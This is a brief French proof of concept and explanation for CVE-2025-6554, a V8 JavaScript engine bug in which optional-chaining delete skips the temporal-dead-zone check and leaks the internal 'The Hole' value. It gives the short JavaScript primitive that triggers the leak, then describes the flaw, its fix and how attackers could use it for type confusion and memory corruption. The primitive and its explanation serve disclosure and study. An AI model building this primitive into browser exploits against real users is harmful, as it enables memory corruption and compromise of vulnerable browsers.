
Preuve de concept d'exploitation pour CVE-2025-6554 : confusion de type dans le moteur JavaScript V8 via contournement de TDZ dans la suppression par chaînage optionnel, permettant l'évasion de The Hole pour corruption mémoire.
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
Une variable y a été accédée avant sa déclaration. Normalement, cela devrait déclencher une ReferenceError (TDZ), mais dans les anciennes versions de V8, combiné avec delete x?.[y], la vérification échouait et renvoyait la valeur sentinelle interne "The Hole".
V8 ne vérifiait la TDZ qu'une seule fois, puis supposait à tort que y était valide. Cela permettait à "The Hole" de s'échapper dans le code utilisateur.
Le correctif force une nouvelle vérification TDZ (ThrowReferenceErrorIfHole) à chaque accès, garantissant que y avant initialisation lève toujours une erreur.
Impact : Les attaquants pouvaient capturer "The Hole" et en abuser pour des confusions de type, des astuces de pile ou des contournements de portée.